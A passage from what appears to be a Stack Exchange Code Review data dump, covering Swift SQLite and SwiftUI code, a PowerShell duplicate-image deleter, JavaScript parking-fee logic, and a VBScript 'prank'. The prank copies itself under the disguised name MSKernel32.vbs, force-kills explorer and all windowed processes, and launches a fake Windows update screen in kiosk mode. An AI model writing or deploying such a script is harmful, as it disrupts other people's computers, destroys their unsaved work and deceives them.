seems unintuitive, but the documentation is clear (emphasis added):</p>\n<blockquote>\n<p><em>Whether or not</em> an error occurs when it is opened, resources associated with the <a href=\"https://sqlite.org/c3ref/sqlite3.html\" rel=\"nofollow noreferrer\">database connection</a> handle should be released by passing it to <a href=\"https://sqlite.org/c3ref/close.html\" rel=\"nofollow noreferrer\"><code>sqlite3_close()</code></a> when it is no longer required.</p>\n</blockquote>\n</li>\n<li><p><strong>Method names.</strong> You have a method called <code>deleteById(_:)</code>, which does not make it clear what you are deleting. Besides the use of a preposition and parameter name in the method name is common in Objective-C, but not Swift. I would suggest <code>deleteUser(id:)</code> or something like that. That makes the domain and functional intent of the method clear, and moves the parameter label where it belongs.</p>\n</li>\n<li><p><strong>Be careful with string interpolation of SQL.</strong> In your user deletion routine, you are building the SQL statement through string interpolation of the identifier. That happens to work because the parameters are numeric, but can be problematic with string parameters. Usually we would use a prepared statement and then <a href=\"https://sqlite.org/c3ref/bind_blob.html\" rel=\"nofollow noreferrer\">bind values</a> to <code>?</code> placeholders in the SQL.</p>\n</li>\n<li><p><strong>Methods that <code>throw</code> should not return optionals.</strong> Optionals are useful when writing functions that must return either <code>nil</code> or some\nvalue. But in this case, you always either return a value or <code>throw</code>\nerrors, so use of optionals is not needed any only complicates the\ncalling point. Remove the <code>?</code> in the return values of E.g.,</p>\n<pre class=\"lang-swift prettyprint-override\"><code>enum DatabaseError: Error {\n case sqlError(Int32, String)\n}\n\nfunc deleteUser(by identifier: Int64) throws -&gt; Int32 {\n let sql = &quot;DELETE FROM user WHERE id = \\(identifier)&quot;\n\n guard sqlite3_exec(database, sql, nil, nil, nil) == SQLITE_OK else {\n throw DatabaseError.sqlError(sqlite3_errcode(database), String(cString: sqlite3_errmsg(database)))\n }\n\n return sqlite3_changes(database)\n}\n\nfunc findAllDepartments() throws -&gt; [Department] {\n var statement: OpaquePointer? = nil\n let sql = &quot;SELECT id, name FROM department&quot;\n\n guard sqlite3_prepare_v2(database, sql, -1, &amp;statement, nil) == SQLITE_OK else {\n throw DatabaseError.sqlError(sqlite3_errcode(database), String(cString: sqlite3_errmsg(database)))\n }\n\n defer {\n sqlite3_finalize(statement)\n }\n\n var departments: [Department] = []\n while sqlite3_step(statement) == SQLITE_ROW {\n departments.append(Department(id: sqlite3_column_int64(statement, 0), name: String(cString: sqlite3_column_text(statement, 1))))\n }\n\n return departments\n}\n</code></pre>\n<br />\n</li>\n<li><p><strong>Strive for highly cohesive, loosely coupled types.</strong> In this case, you have some other code opening the SQLite database and passing the <code>sqlite3</code> pointer to the <code>Database</code> class. This is bad because it tightly couples the caller with the <code>Database</code> class, littering SQLite calls in multiple classes. It also is problematic because the <code>Database</code> type is less cohesive, not encompassing all the SQLite calls.</p>\n<p>If, for example, you replace SQLite with some other storage mechanism at some later date, you are going to have to not only replace your storage class, <code>Database</code>, but go through all the caller code, too.</p>\n</li>\n<li><p><strong><code>Database</code> is tightly coupled with model types.</strong> In a similar vein as my previous point, we generally want to keep model objects and database objects a little less tightly coupled than this. For example, rather than having <code>Department</code> specific methods in our base <code>Database</code> class, you would want to define a protocol for fetching and storing of data. Or, at the very least, I would move <code>Department</code> and other model-specific methods in their own extensions, to avoid cluttering the main <code>Database</code> class with model-specific methods.</p>\n</li>\n<li><p><strong>Consider SQLite wrapper class.</strong> Before you write your own SQLite wrapper class, you might want to consider one of the existing ones out there. They have already wrestled with many of the basic considerations and might have interfaces to handle this.</p>\n</li>\n</ol>\n<p>Just a few observations.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-27T01:59:48.320", "Id": "253943", "ParentId": "253377", "Score": "0" } } ]
{ "AcceptedAnswerId": "253943", "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T06:33:32.800", "Id": "253377", "Score": "0", "Tags": [ "c", "swift", "sqlite" ], "Title": "Sqlite select and delete operation using C API in Swift" }
253377
<p>Inspired by Mike Boyd's 'Dopamine Box' video: <a href="https://www.youtube.com/watch?v=JJeQIXBdVuk" rel="nofollow noreferrer">link</a>, I decided it would be a good project to pursue by myself in swift. The end goal is to make it look like the box in the video, with switches and a chrome exterior as well as being able to add custom icons underneath the switches.</p> <p>My main question is: <strong>Have I laid out my work in a way that makes sense for what I am setting out to do?</strong></p> <p>This is what I've managed to build so far, it is a list that you can add tasks to:</p> <p>Dopamine_BoxApp.swift</p> <pre><code>import SwiftUI @main struct Dopamine_BoxApp: App { var body: some Scene { WindowGroup { ContentView().environmentObject(Library()) } } } </code></pre> <p>Goal.swift</p> <p><em>Defines the class for the goal object, it has a title property</em></p> <pre><code>import Combine import Foundation class Goal: ObservableObject{ @Published var title: String init(title: String = &quot;&quot;){ self.title = title } } </code></pre> <p>Library.swift</p> <p><em>Defines the class for the library object which contains an array of goals and adds new goals at the start of library</em></p> <pre><code>import Combine import Foundation class Library: ObservableObject { var sortedGoal: [Goal] { goalsCache } /// Add a new goal at the start of the library func addNewGoal(_ goal: Goal) { goalsCache.insert(goal, at: 0) } @Published private var goalsCache: [Goal] = [ .init(title: &quot;Go for a run&quot;), .init(title: &quot;Do 1 hr of reading&quot;), .init(title: &quot;Eat cod liver tablets&quot;), .init(title: &quot;Make lunch&quot;), .init(title: &quot;Do 3 hrs of coding&quot;), .init(title: &quot;1 hr learning the piano&quot;), ] } </code></pre> <p>ContentView.swift</p> <p><em>The first view the user sees that leads to the menu view, is it redundant to have a content view that simply leads to a menu view and nothing else?</em></p> <pre><code>import SwiftUI struct ContentView: View { @EnvironmentObject var library: Library var body: some View { NavigationView{ MenuView() } .frame(minWidth: 0, maxWidth: .infinity, minHeight: 0, maxHeight: .infinity, alignment: .topLeading) } } struct ContentView_Previews: PreviewProvider { static var previews: some View { Group{ ContentView() .environmentObject(Library()) } } } </code></pre> <p>MenuView.swift</p> <p><em>The menu view contains a list of goal items in the library objects, as well as a add new daily task view</em></p> <pre><code>import SwiftUI struct MenuView: View { @State var showDetail = false @State var addingNewGoal = false @EnvironmentObject var library: Library var body: some View{ VStack { List(library.sortedGoal, id: \.title){ goal in Goal.GoalRow(goal: goal) } NavigationLink(destination: AddDailyTaskView()){ Text(&quot;Add Daily Task&quot;) } } } } </code></pre> <p>DetailView.swift</p> <p><em>when you click on a goal in menu view, you get led to a view that for now contains the title of the goal that was clicked on</em></p> <pre><code> import SwiftUI struct DetailView: View { let goal: Goal var body: some View { VStack { Text(goal.title) } } } </code></pre> <p>AddDailyTaskView.swift</p> <p><em>adds a new goal to the library object</em></p> <pre><code>import SwiftUI // struct AddDailyTaskView: View { @ObservedObject var goal = Goal() @EnvironmentObject var library: Library @Environment(\.presentationMode) var mode: Binding&lt;PresentationMode&gt; var body: some View{ NavigationView{ VStack { HStack { Text(&quot;Name&quot;) TextField(&quot;Goal Name&quot;, text: $goal.title) } } .toolbar{ ToolbarItem(placement: .status){ Button(&quot;Add to Library&quot;) { library.addNewGoal(goal) mode.wrappedValue.dismiss() } .disabled([goal.title].contains(where:\.isEmpty)) } } } } } </code></pre> <p>GoalViews.swift</p> <p><em>goal views contains extensions to goal, GoalRow displays the goal title and links to the detail view of that goal</em></p> <pre><code>import SwiftUI extension Goal{ struct GoalRow: View { let goal:Goal var body: some View{ NavigationLink( destination: DetailView(goal: goal) ){ Text(goal.title) } } } } </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T13:12:14.553", "Id": "499668", "Score": "0", "body": "Welcome to the Code Review Community. While you have added a link to a description of the algorithm it would help us greatly with the review if you also put a text description of what the code is trying to accomplish in the question. Links have been known to go bad." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T14:49:35.610", "Id": "499670", "Score": "0", "body": "@pacmaninbw Thank you I've added a description for each of the swift files" } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T12:42:00.737", "Id": "253380", "Score": "2", "Tags": [ "swift", "swiftui" ], "Title": "A Daily goals list 'Dopamine Box'" }
253380
<p>So I have made this Duplicate image scanner using powershell. It will operate using the SHA256 hashes of the files.</p> <p>Any tips or suggestions on making this more dynamic/robust/efficient or adding new features would be greatly appreciatied!</p> <pre><code>$sig=@' public static void ShowConsoleWindow(int state) { var handle = GetConsoleWindow(); ShowWindow(handle,state); } [System.Runtime.InteropServices.DllImport(&quot;kernel32.dll&quot;)] static extern IntPtr GetConsoleWindow(); [System.Runtime.InteropServices.DllImport(&quot;user32.dll&quot;)] static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); '@ $hc=Add-Type -mem $sig -name Hide -Names HideConsole -Ref System.Runtime.InteropServices -Pas $hc::ShowConsoleWindow(0) [console]::title=&quot;Duplicate Image Scanner (c) Wasif Hasan | Sep 2020&quot; $eXt=@('.jpg','.png','.gif','.jpeg','.webp','.tiff','.psd','.raw','.bmp','.heif','indd','.svg') @('system.windows.forms','system.drawing')|%{add-type -as $_} $s=[windows.forms.form]::new();$s.size=[drawing.size]::new(400,850);$s.StartPosition=&quot;CenterScreen&quot;;$s.Text=&quot;Select drives to scan&quot; $drives=gdr -p &quot;FileSystem&quot;|select -eXp name $top=20;$left=50;$drives|%{ $c=$_.split(&quot; &quot;)-join&quot;_&quot;;$top += 20 iex &quot;`$$($c) = New-Object System.Windows.Forms.CheckBox;`$$($c).Top = $($top);`$$($c).Left = $($left);`$$($c).Anchor='Left,Top';`$$($c).Parent='';`$$($c).Text='$($_)';`$$($c).Autosize=`$true;if('$_' -in `$drives){`$$c.Checked=`$true};`$s.Controls.Add(`$$c)&quot;} $ok=New-Object System.Windows.Forms.Button;$ok.Text='OK';$ok.Top=770;$ok.Left=290 $ok.add_click({$s.Close()});$s.Controls.AddRange($ok) $sa=New-Object System.Windows.Forms.Button;$sa.Text='Select All';$sa.Top=770;$sa.Left=200 $sa.add_click({$s.Controls|?{($_.Checked) -or !($_.Checked)}|%{try{$_.Checked=$True}catch{}}});$s.Controls.AddRange($sa) $null=$s.ShowDialog() $choices=$s.Controls|?{$_.Checked}|select -eXp Text $i=0;$choices|%{$choices[$i]=$_+':\';$i++} $f=[windows.forms.form]::new();$f.Size=[drawing.size]::new(600,100);$f.StartPosition=&quot;CenterScreen&quot;;$f.Text=&quot;Please wait&quot; $l=[windows.forms.label]::new();$l.Text=&quot;Please wait until the scan is complete........&quot;;$l.Font=&quot;Segoe UI,16&quot;;$l.AutoSize=$true;$f.Controls.AddRange($l) $null=$f.ShowDialog() $files=@();$hCols=@();$choices|%{ dir $_ -r|?{$_.eXtension-in$eXt}|%{ $h=get-filehash $_.fullname -a 'SHA256'|select -eXp hash if($h-in$hCols){$files+=$_.fullName}else{$hCols+=$h} }};$f.Close() $del=$files|ogv -t &quot;Duplicate images (Hold CTRL and select the ones to delete)&quot; -p $del|%{rm &quot;$_&quot; -fo} [windows.forms.messagebox]::Show(&quot;Thanks for using!&quot;,&quot;Duplicate image scanner&quot;,&quot;OK&quot;,&quot;Information&quot;) </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T03:29:14.720", "Id": "499720", "Score": "0", "body": "Not sure if this is a powershell issue or a coding style issue (I’ve never used powershell), but this looks more like a sea of letters than a program. :)" } ]
[ { "body": "<p>Let me give you some advice:</p>\n<ul>\n<li><p>First of all you should make your code much more rideable. I am struggling to actually read this code. You should name your variables meaningfully, so the code can be read like English.</p>\n</li>\n<li><p>Don't write multiple commands on a single line. It is easier to keep track of code when single command per line is used.</p>\n</li>\n<li><p>When writing PowerShell scripts don't use cmdlet aliases, use full names of cmdlets. Different people use different aliases, but all of them know full names of similes.</p>\n</li>\n</ul>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-31T11:16:05.203", "Id": "254128", "ParentId": "253388", "Score": "0" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T16:01:43.357", "Id": "253388", "Score": "1", "Tags": [ "image", "powershell" ], "Title": "Powershell duplicate image scanner" }
253388
<p>So, I have made a BIG prank in VBScript.</p> <p>First part is to prank with a Dummy HTA splash screen using an encoded PNG image inside it (Not included) and kill all windowed processes+explorer and keep it for a few seconds.</p> <p>Then launch a internet explorer window in kiosk mode and launch fakeupdate.net according to windows version (Fake update prank)</p> <p>So, everything is fine on Windows 10.</p> <p>But I am not sure for Windows XP, because it needs a bit powershell and in Windows 98 it's not definitely gonna work because, You won't have IE6, WMI, Powershell :-(</p> <p>You can improve this and port it for XP or 9x</p> <p>Thanks</p> <p>Whole Code with Base64 PNG image: <a href="https://pastebin.com/cPkiWvUW" rel="nofollow noreferrer">https://pastebin.com/cPkiWvUW</a></p> <pre><code>Option Explicit Dim fso,objSelf,objTemp,strTemp,objDummy,strContent Dim objRegex,objMatches,strMatch,strB64,objLOL,WshShell,iSkip strB64 = &quot;&quot; : iSkip = 1 Set WshShell = CreateObject(&quot;Wscript.Shell&quot;) Set fso = CreateObject(&quot;Scripting.FileSystemObject&quot;) Set objSelf = fso.GetFile(Wscript.ScriptFullName) Set objTemp = fso.GetSpecialFolder(2) strTemp = objTemp.Path &amp; &quot;\MSKernel32.vbs&quot; objSelf.Copy strTemp Set objDummy = fso.OpenTextFile(strTemp,1,False) strContent = objDummy.ReadAll Set objRegex = New RegExp With objRegex .Pattern = &quot;'(.*)&quot; .IgnoreCase = True .Global = True End With Set objMatches = objRegex.Execute(strContent) strTemp = objTemp.Path &amp; &quot;\WinAPI.hta&quot; Set objLOL = fso.CreateTextFile(strTemp,True) With objLOL .WriteLine &quot;&lt;html&gt;&lt;head&gt;&quot; .WriteLine &quot;&lt;hta:application maximizebutton=&quot;&quot;no&quot;&quot; border=&quot;&quot;thin&quot;&quot;&quot; .WriteLine &quot;borderstyle=&quot;&quot;normal&quot;&quot; selection=&quot;&quot;no&quot;&quot; scroll=&quot;&quot;no&quot;&quot; caption=&quot;&quot;no&quot;&quot;&gt;&quot; .WriteLine &quot;&lt;script language=&quot;&quot;VBScript&quot;&quot;&gt;&quot; .WriteLine &quot;Sub Window_OnLoad()&quot; .WriteLine &quot;Dim iLeft,itop,x,y&quot; .WriteLine &quot;x = 510 : y = 400&quot; .WriteLine &quot;Window.ResizeTo x,y&quot; .WriteLine &quot;iLeft = Window.Screen.AvailWidth/2 - x/2&quot; .WriteLine &quot;itop = Window.Screen.AvailHeight/2 - y/2&quot; .WriteLine &quot;Window.MoveTo ileft, itop&quot; .WriteLine &quot;End Sub&quot; .WriteLine &quot;&lt;/script&gt;&lt;/head&gt;&quot; .WriteLine &quot;&lt;body bgcolor=&quot;&quot;black&quot;&quot;&gt;&quot; .WriteLine &quot;&lt;table id=&quot;&quot;mytable&quot;&quot; style=&quot;&quot;margin-top:25px;margin-left:15px&quot;&quot;&gt;&quot; .WriteLine &quot;&lt;td&gt;&lt;img src=&quot;&quot;&quot; For Each strMatch in objMatches If iSkip &gt; 2 Then .Write Replace(strMatch,&quot;'&quot;,&quot;&quot;) Else iSkip = iSkip + 1 End If Next .WriteLine &quot;&quot;&quot;&gt;&lt;/td&gt;&lt;/table&gt;&lt;br&gt;&quot; .WriteLine &quot;&lt;marquee BEHAVIOR=&quot;&quot;alternate&quot;&quot; BGCOLOR=&quot;&quot;black&quot;&quot;&gt;&quot; .WriteLine &quot;&lt;font face=&quot;&quot;Comic sans MS&quot;&quot; color=&quot;&quot;RED&quot;&quot; size=&quot;&quot;5&quot;&quot;&gt;&lt;b&gt;WASIF WAS HERE LOL !!&lt;/b&gt;&lt;/font&gt;&lt;/marquee&gt;&quot; .WriteLine &quot;&lt;/body&gt;&lt;/html&gt;&quot; End With With WshShell .Run &quot;taskkill /im explorer.exe /f&quot;,0,True .Run &quot;taskkill /f /fi &quot;&quot;status eq not responding&quot;&quot;&quot;,0,True .Run &quot;powershell -c &quot;&quot;&amp; {ps|?{$_.mainwindowtitle}|kill -fo}&quot;&quot;&quot;,0,True .Run strTemp Wscript.Sleep 17000 .Run &quot;taskkill /im mshta.exe /f&quot;,0,True .Run &quot;explorer.exe&quot; End With Dim objWMIService,strComputer,colItems,colItem,strOS,objRegex,strAllOSes Dim arrAllOSes,strResult,strOSItem,WshShell,arrURI,iter,objProcessList,objProcess iter = 0 Set WshShell = CreateObject(&quot;Wscript.Shell&quot;) arrURI = Array(&quot;xp&quot;,&quot;vista&quot;,&quot;win7&quot;,&quot;win8&quot;,&quot;win10ue&quot;) strAllOSes = &quot;Windows XP,Windows Vista,Windows 7,Windows 8,Windows 10&quot; arrAllOSes = Split(strAllOSes,&quot;,&quot;) strComputer = &quot;.&quot; Set objWMIService = GetObject(&quot;winmgmts:\\&quot; &amp; strComputer) Set colItems = objWMIService.InstancesOf(&quot;Win32_OperatingSystem&quot;) For Each colItem in colItems strOS = colItem.Caption Next Set objProcessList = objWMIService.ExecQuery(&quot;SELECT * FROM Win32_Process WHERE Name = 'explorer.exe'&quot;) For Each objProcess in objProcessList objProcess.Terminate() Next WshShell.Run &quot;taskkill /im explorer.exe /f&quot;,0,True Set objRegex = New RegExp With objRegex .Pattern = &quot;.*Windows XP.*&quot; .IgnoreCase = True .Global = False End With For Each strOSItem In arrAllOSes With objRegex .Pattern = &quot;.*&quot; &amp; strOSItem &amp; &quot;.*&quot; .IgnoreCase = True .Global = False End With If objRegex.Test(strOS) Then WshShell.Run &quot;iexplore -k fakeupdate.net/&quot; &amp; arrURI(iter) End If iter = iter + 1 Next </code></pre> <p><strong>NOTE: At the end of script it has an encoded JPG file in Base64, but it is too large to include, see full code (256 KB) in pastebin: <a href="https://pastebin.com/cPkiWvUW" rel="nofollow noreferrer">https://pastebin.com/cPkiWvUW</a></strong></p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T22:24:15.240", "Id": "499708", "Score": "0", "body": "i don't see any powershell code ... if it aint there, then please remove the powershell tag." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T01:02:11.723", "Id": "499713", "Score": "0", "body": "@Lee_Dailey it calls `powershell -c \"\"& {ps|?{$_.mainwindowtitle}|kill -fo}\"\"\"`" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T02:00:47.613", "Id": "499717", "Score": "0", "body": "ah! i managed to miss that. [*blush*] thank you for the info!" } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T16:44:29.783", "Id": "253390", "Score": "1", "Tags": [ "powershell", "vbscript", "internet-explorer" ], "Title": "A big prank using VBScript" }
253390
<p>Since I have just started Javascript, I am trying to solve a few problems and improve myself. I encountered such a question. I tried to do everything step by step from the question, but I do not think that my code is efficient. Can someone help me develop it?</p> <blockquote> <p>Please code for a JavaScript function that accepts two arguments that are; parking &quot;date and time&quot;(timestamp) and return &quot;date and time&quot;(timestamp). At an airport for car parking, the following rules are applied.</p> <p>Parking costs;</p> <p>€2 for the first 20 minutes,<br /> rising to €4 for up to 40 minutes,<br /> rising to €6 for up to one hour,<br /> rising to €7 for up to two hours,<br /> rising to €9 for up to three hours,<br /> rising to €11 for up to four hours,<br /> rising to €13 for 4-8 hours and<br /> rising to €15 for 8-24 hours.</p> <p>€16 for the first 24 hours and after that each additional day is charged at €9.</p> </blockquote> <p>Here is my code:</p> <pre><code>function msToHours(milisecond) { let time = milisecond; let hour = (time / 60000) / 60; return hour; } //Mins to Hours Function function minToHours(miniute){ let time = miniute; let hr = (miniute /60); return hr; } //Finding the nth day Function function add24HR(hour, cb) { let arr = new Array(); for (let i = 0; i &lt; hour; i++) { if (i % 24 == 0) { arr.push(i) } } return `Your Parking Fee is £${(arr.length*cb-cb) + 16}.(${arr.length} days)` } //Main Function const parkingFees = (parkingDate, returnDate) =&gt; { //Defining dates var park = new Date(parkingDate) var returned = new Date(returnDate); //Variables var penaltyFee = 9; let totalPrice; //Time between park and return (miliseconds) let totalTime = returned - park //MiliSeconds to Hour let totalPark = msToHours(totalTime); //Mins to Hours if (totalPark &lt;= minToHours(20)) { return `Your parking fee is only £${2}.` } else if(totalPark &gt; minToHours(20) &amp;&amp; totalPark &lt;= minToHours(40)){ return `Your parking fee is only £${4}.` } else if(totalPark &gt; minToHours(40) &amp;&amp; totalPark &lt;= minToHours(60)){ return `Your parking fee is only £${6}.` } else if(totalPark &gt; minToHours(60) &amp;&amp; totalPark &lt;= minToHours(120)){ return `Your parking fee is only £${7}.` } else if(totalPark &gt; minToHours(120) &amp;&amp; totalPark &lt;= minToHours(180)){ return `Your parking fee is only £${9}.` } else if(totalPark &gt; minToHours(180) &amp;&amp; totalPark &lt;= minToHours(240)){ return `Your parking fee is only £${11}.` } else if(totalPark &gt; minToHours(240) &amp;&amp; totalPark &lt;= minToHours(480)){ return `Your fparking fee is only £${13}.` } else if(totalPark &gt; minToHours(480) &amp;&amp; totalPark &lt; minToHours(1440)){ return `Your parking fee is only £${15}.` } else if(totalPark &gt; minToHours(1440) &amp;&amp; totalPark &lt; minToHours(2880)){ return `Your parking fee is only £${16}.` } //if totalPark &gt; 24 HRS else { totalPrice = add24HR(totalPark, penaltyFee) } return totalPrice; } document.querySelector(&quot;body&quot;).innerHTML = (parkingFees(&quot;5/12/2020 18:30&quot;, &quot;5/18/2020 18:30&quot;)) </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T10:35:00.960", "Id": "499733", "Score": "1", "body": "Could you update the title of the question so that it describes _what your program does_? That's one of the conventions on this site." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T11:13:59.267", "Id": "499738", "Score": "0", "body": "I did. Thank you!" } ]
[ { "body": "<p>The first two things I noticed when looking at your code were:</p>\n<p>1: It's unclear why you use a function expression, with <code>const</code>, for the main function, and then use function declarations, with <code>function</code>, for the other functions?</p>\n<p>2: Obviously there's a lot of repetition in your code. The string <code>'Your parking fee is'</code> is repeated ten times. That is not very <a href=\"https://en.wikipedia.org/wiki/Don%27t_repeat_yourself\" rel=\"nofollow noreferrer\">DRY</a>.</p>\n<p>The first thing to do, when presented with a problem like this, is analyze what needs to be done:</p>\n<ol>\n<li>We need to compute the parking fee given two dates.</li>\n<li>We need to output the parking fee.</li>\n</ol>\n<p>So, let's dive right in and make a little &quot;framework&quot; for this:</p>\n<pre><code>function computeParkingFee(parkingDateTime, returnDateTime) {\n // ..... do something .....\n}\n\nfunction outputParkingFee(parkingFee) {\n // ..... do something .....\n}\n\nlet parkingFee = computeParkingFee('5/12/2020 18:30', '5/18/2020 18:30');\noutputParkingFee(parkingFee);\n</code></pre>\n<p>I've chosen function declarations because they will do the job. I'm not going for the shortest possible code here, I want it to be easy to read and to understand.</p>\n<p>Let's do the easy bit first, the output of the fee. Almost anything will do, so I'll copy your code:</p>\n<pre><code>function outputParkingFee(parkingFee) {\n document.querySelector(&quot;body&quot;).innerHTML = &quot;Your parking fee is £&quot; + parkingFee + &quot;.&quot;;\n}\n</code></pre>\n<p>By putting the <code>'Your parking fee is'</code> string in this function, it exists only once, and, more to the point, in the place where it is actually used. In other words, the output is formatted in the function that generates the output. This makes it easier to modify the output later on.</p>\n<p>The more interesting bit is how to compute the parking fee. The smallest time difference, used by the parking meter, is a minute, so it makes sense to compute the time difference in minutes. Let's make a separate function for that:</p>\n<pre><code>function timeDifferenceInMinutes(startDateTime, finishDateTime) {\n let start = new Date(startDateTime);\n let finish = new Date(finishDateTime);\n return Math.floor(((finish - start) / 1000) / 60);\n}\n</code></pre>\n<p>I use the <code>Math.floor()</code> function so that only full minutes are added to the result. Now we can make a list, containing the amount of minutes parked and the associated cost:</p>\n<pre><code>var parkingCosts = [[ 0, 2.00],\n [ 20, 2.00],\n [ 40, 2.00], \n [ 60, 1.00],\n [120, 2.00],\n [180, 2.00],\n [240, 2.00],\n [480, 2.00]];\n</code></pre>\n<p>Now this is where analyzing the problem is important. First of all, the customer always spends £2.00. Then after 20 minutes that rises to £4.00, so another £2.00 is added. After 40 minutes another £2.00 is added, after 60 minutes £1.00 is added, and so on.</p>\n<p><em>This list therefore contains the fee due after the given number of minutes have passed.</em></p>\n<p>Note how I always write out money with two numbers after the decimal point. This makes it somewhat easier to recognize these as being money, not just numbers. It's a personal preference.</p>\n<p>The list stops when a whole day is reached, because we can easily compute the fee for days, so we don't need to put that in the list. Now we need to use this array, and put it all together. So the whole code for <code>computeParkingFee()</code> becomes this:</p>\n<pre><code>var parkingCosts = [[ 0, 2.00],\n [ 20, 2.00],\n [ 40, 2.00],\n [ 60, 1.00],\n [120, 2.00],\n [180, 2.00],\n [240, 2.00],\n [480, 2.00]];\nvar firstDayFee = 16.00;\nvar nextDayFee = 9.00;\n\nfunction timeDifferenceInMinutes(startDateTime,finishDateTime) {\n let start = new Date(startDateTime);\n let finish = new Date(finishDateTime);\n return Math.floor(((finish - start) / 1000) / 60);\n}\n\nfunction computeParkingFee(parkingDateTime, returnDateTime) {\n let minutes = timeDifferenceInMinutes(parkingDateTime, returnDateTime);\n let parkingFee = 0.00;\n if (minutes &gt; 1440) {\n let days = Math.ceil(minutes / 1440);\n parkingFee += firstDayFee + nextDayFee * (days - 1);\n } else {\n for (let cost of parkingCosts) {\n if (minutes &gt; cost[0]) {\n parkingFee += cost[1];\n } else {\n break;\n }\n }\n }\n return parkingFee;\n}\n</code></pre>\n<p><a href=\"https://jsfiddle.net/KIKO_Software/3cy0bg9m/19/\" rel=\"nofollow noreferrer\">Here is a working JSFiddle</a>.</p>\n<p>Having all the fees in one place makes it easier for the &quot;parking manager&quot; to change the fees, without having to look through all the code. The computations themselves are very straightforward. If the duration is more than a day I use <code>firstDayFee</code> and <code>nextDayFee</code> to compute the parking fee, otherwise I loop through the list as I explained.</p>\n<p>Basically I replaced your long <code>if (...) {} else if (...) {} else if (...) {} else if ......</code> by a handy list which I loop through.</p>\n<p>This is very simple code, so efficiency is not really that important. I've concentrated on making the code easy to understand and easy to modify.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T23:30:45.090", "Id": "499709", "Score": "0", "body": "Thanks for the clear answer! It helped me a lot !" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T10:33:03.703", "Id": "499732", "Score": "0", "body": "You didn't explain why you chose the fee differences instead of just copying the actual fees from the problem statement. The reasons for this choice may be interesting." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T11:16:59.597", "Id": "499739", "Score": "2", "body": "@RolandIllig: I'm sorry to say it is a somewhat arbitrary choice, using relative fees instead of absolute fees. The exact same can be done with absolute fees. That being said, the relative fees now clearly show that there's only one deviation from the standard £2.00 fee increase and that's for the second hour. If that anomaly wasn't present the code would have been a lot simpler. I looked for that simplification, hence the relative fees, and discovered it was not to be, but I kept the relative fees." } ], "meta_data": { "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T21:18:00.960", "Id": "253401", "ParentId": "253392", "Score": "4" } }, { "body": "<p>The main issue I see with the code is the repetitive <code>if</code>/<code>else</code>s at the bottom. Repetitive code is annoying to write, takes some time to read, and is often a bit more likely to have bugs than <a href=\"https://en.wikipedia.org/wiki/Don%27t_repeat_yourself\" rel=\"noreferrer\">DRY</a> code. To identify the parking fee, I'd make an array of ranges and their associated fees, then find the appropriate range:</p>\n<pre class=\"lang-js prettyprint-override\"><code>const getCost = (totalHoursParked) =&gt; {\n const costs = [\n // [Maximum number of hours, Associated cost]\n [1/3, 2],\n [2/3, 4],\n [1, 6],\n [2, 7],\n [3, 9],\n [4, 11],\n [8, 13],\n [24, 15],\n ];\n if (totalHoursParked &gt; 24) {\n const days = Math.ceil(totalHoursParked / 24);\n return 16 + 9 * (days - 1);\n }\n const found = costs.find(([maxHours]) =&gt; totalHoursParked &lt;= maxHours);\n return found[1];\n};\n</code></pre>\n<p>Just calculate the hours stayed, then invoke the function above.</p>\n<p>Other suggestions regarding your current code:</p>\n<p><strong>Always use <code>const</code></strong> when you can - only use <code>let</code> when <a href=\"https://softwareengineering.stackexchange.com/questions/278652/how-much-should-i-be-using-let-vs-const-in-es6\">you must warn readers of the code</a> that you may be reassigning the variable in the future.</p>\n<p><strong>Avoid <code>var</code></strong> - If you're going to write in modern ES6+ syntax, great - in which case, better to avoid <code>var</code>, which has problems such as an unintuitive function scope and automatically assigning to a property of the global object when on the top level.</p>\n<p><a href=\"https://stackoverflow.com/q/1800594\"><strong>Prefer <code>[]</code> over <code>new Array()</code></strong></a> - it's shorter to write and easier to read, and using the constructor may tempt you to pass it a number, which will result in a <em>sparse</em> array (sparse arrays can have some very strange behaviors; better to avoid them entirely).</p>\n<p><strong>Prefer strict equality</strong> - better to avoid <code>==</code> and <code>!=</code>, since they have <a href=\"https://stackoverflow.com/questions/359494/which-equals-operator-vs-should-be-used-in-javascript-comparisons\">confusing coercion rules</a> a reader of the code should not have to have memorized in order to be confident of the logic the code is implementing.</p>\n<p><strong><code>add24HR</code> is weird</strong> While you <em>can</em> loop one-by-one over the hours and increment when encountering every 24th, it'd be much easier to just divide the number of hours by 24 and take the <code>.ceil</code> or <code>.floor</code> of it as needed.</p>\n<p><strong>Use meaningful, precise variable names</strong> that clearly indicate what the variable contains. Would someone just glancing at the script know what <code>park</code> means, or the difference between <code>totalTime</code> and <code>totalPark</code>, without looking at where those are defined? Probably not - better to call them something like <code>parkDate</code>, <code>returnDate</code>, <code>totalMSParked</code>, <code>totalHoursParked</code>. The <code>penaltyFee = 9</code> doesn't make a whole lot of sense either except after one reads the description of the problem <em>and</em> some of the code. <code>parkingFees</code> is a function, so it should probably have a <em>verb</em> in its 